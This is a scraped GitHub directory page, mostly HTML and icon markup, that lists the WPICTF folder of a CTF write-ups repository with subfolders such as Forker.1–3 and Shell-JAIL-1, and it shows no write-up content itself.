.25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> soolidsnake </span> <span>/</span> Write-ups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/soolidsnake/Write-ups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":106194257,"originating_url":"https://github.com/soolidsnake/Write-ups/tree/master/WPICTF","user_id":null}}" data-hydro-click-hmac="1345307e3de3310b0b3cf0448bd28e185a94102ac3fcc26a6e0e87277c553542"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/soolidsnake/Write-ups/refs" cache-key="v0:1507482602.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c29vbGlkc25ha2UvV3JpdGUtdXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/soolidsnake/Write-ups/refs" cache-key="v0:1507482602.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c29vbGlkc25ha2UvV3JpdGUtdXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Write-ups</span></span></span><span>/</span>WPICTF<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Write-ups</span></span></span><span>/</span>WPICTF<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/soolidsnake/Write-ups/tree-commit/d13037ca4c2109337ab95198da13979dca7fa454/WPICTF" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/soolidsnake/Write-ups/file-list/master/WPICTF"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Forker.1</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Forker.2</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Forker.3</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Shell-JAIL-1</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" 